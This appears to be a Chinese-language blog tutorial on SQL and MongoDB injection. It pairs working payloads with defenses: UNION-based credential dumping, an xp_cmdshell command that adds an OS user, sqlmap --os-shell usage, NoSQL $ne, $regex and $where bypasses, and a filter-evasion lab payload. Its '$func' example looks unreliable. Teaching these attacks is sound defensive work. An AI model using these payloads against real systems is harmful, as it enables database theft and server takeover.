0x00 注入原理:数据库的致命裂缝
传统SQL注入攻击面
# 危险代码示例(动态拼接)
query = "SELECT * FROM users WHERE username='" + username + "'"
攻击本质:通过控制输入内容破坏SQL语法结构,实现任意指令执行
NoSQL注入新战场(以MongoDB为例)
// 危险查询写法
db.users.find({
username: req.body.user,
password: req.body.pass
})
攻击向量:
{
"user": {"$ne": ""},
"pass": {"$ne": ""}
}
攻击效果:绕过认证(原理:$ne操作符匹配所有非空值)
0x01 手工注入:精准解剖数据库
经典联合查询注入七步法
步骤1:探测注入点
?id=1' -- 触发错误判断闭合符号
?id=1 AND 1=1 -- 验证布尔逻辑
目的:确认参数是否被拼接进SQL语句
步骤2:判断字段数
ORDER BY 4-- 通过二分法试探列数
原理:利用排序超出列数触发错误
步骤3:确定回显位
UNION SELECT 1,2,3 -- 观察数字显示位置
作用:定位数据在前端展示的对应位置
步骤4:提取元数据
UNION SELECT 1,table_name,3 FROM information_schema.tables --
关键表:information_schema(存储数据库元信息)
步骤5:爆破字段名
UNION SELECT 1,column_name,3 FROM information_schema.columns WHERE table_name='users' --
目标:获取账号密码字段名称
步骤6:拖取核心数据
UNION SELECT 1,CONCAT(username,':',password),3 FROM users --
技巧:使用CONCAT函数合并多字段
步骤7:权限提升
; EXEC xp_cmdshell('net user hacker P@ssw0rd /add') --
风险:通过存储过程执行系统命令
0x02 NoSQL注入:新型攻击模式
MongoDB注入三板斧
攻击1:运算符滥用
// 正常查询
db.products.find({ price: { $lt: 100 } })
// 攻击payload
price[$gt]=0 => { price: { $gt: 0 } }
效果:绕过价格限制获取所有商品
攻击2:JS注入
db.users.find({ $where: "this.username == 'admin' && this.password == '" + pass + "'" })
恶意输入:
pass=1'; return true;//
执行结果:无条件返回true实现越权登录
攻击3:嵌套查询突破
{
"username": {
"$func": "function() { return 'admin'; }"
}
}
漏洞根源:未禁用服务器端JS执行
0x03 自动化攻击:SQLMap核武库
引擎工作原理
智能检测算法:
- 布尔盲注特征检测
- 时间延迟响应分析
- 报错信息正则匹配
实战指令解析
sqlmap -u "http://test.com/?id=1" \
--risk=3 --level=5 \ # 提升检测强度
--tamper=charencode \ # 绕过基础过滤
--os-shell # 尝试获取系统Shell
参数详解:
--risk
:启用危险操作(如文件写入)--os-shell
:触发数据库提权操作链
0x04 防御方案:构建钢铁长城
传统SQL防御
方案1:参数化查询
# Python安全写法
cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,))
原理:严格区分数据与指令
方案2:ORM防护
// Sequelize安全示例
User.findOne({ where: { id: req.query.id } })
NoSQL防御策略
方案1:类型强制转换
// 将输入转为字符串
const username = String(req.body.user);
方案2:操作符白名单
const allowedOperators = ['$eq', '$lt', '$gt'];
sanitize(input, allowedOperators);
方案3:关闭危险功能
# MongoDB配置
security:
javascriptEnabled: false
0x05 三维攻防实验室
场景1:SQL注入闯关
http://hacklab.csdntest/sqli/level5 (过滤了空格和UNION)
通关提示:
?id=1'/**/aNd/**/1=2/**/uNiOn/**/SeLeCt/**/1,version(),3--+
场景2:NoSQL越权挑战
POST /api/login HTTP/1.1
Content-Type: application/json
{"user":"admin", "pass":{"$regex":"^.*"}}
目标:通过正则表达式暴力破解密码
技术总结
注入防御黄金法则 = 输入验证 + 最小权限 + 持续监控
↓
被动防护 → 主动防御 → 智能感知
下期预告:《XSS的艺术》将揭秘:
- 利用Shadow DOM绕过内容安全策略
- 通过CSS选择器窃取敏感数据
- 基于WebSocket的跨域渗透技术
法律红区与防御资源
⚠️ 依据《网络安全法》第27条,任何个人不得从事非法侵入他人网络的行为
攻击者画像
{
"攻击路径": "应用层注入 → 数据库提权 → 横向移动",
"利用工具": ["sqlmap", "NoSQLBooster", "BurpSuite"],
"指纹特征": "非常规HTTP参数结构"
}